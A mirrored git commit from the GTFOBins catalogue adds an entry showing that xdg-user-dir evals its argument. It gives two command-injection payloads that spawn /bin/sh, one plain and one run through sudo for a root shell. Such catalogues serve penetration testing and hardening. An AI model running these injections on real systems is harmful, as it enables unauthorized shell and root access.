mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Add xdg-user-dir
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
07dca76e95
commit
08c8fafec9
11
_gtfobins/xdg-user-dir.md
Normal file
11
_gtfobins/xdg-user-dir.md
Normal file
@ -0,0 +1,11 @@
|
||||
---
|
||||
description: |
|
||||
The current implementation of `xdg-user-dir` is basically `eval echo \${XDG_${1}_DIR:-$HOME}`, thus is can be easily used to achieve command execution.
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
xdg-user-dir '}; /bin/sh #'
|
||||
sudo:
|
||||
- code: |
|
||||
sudo xdg-user-dir '}; /bin/sh #'
|
||||
---
|
Loading…
Reference in New Issue
Block a user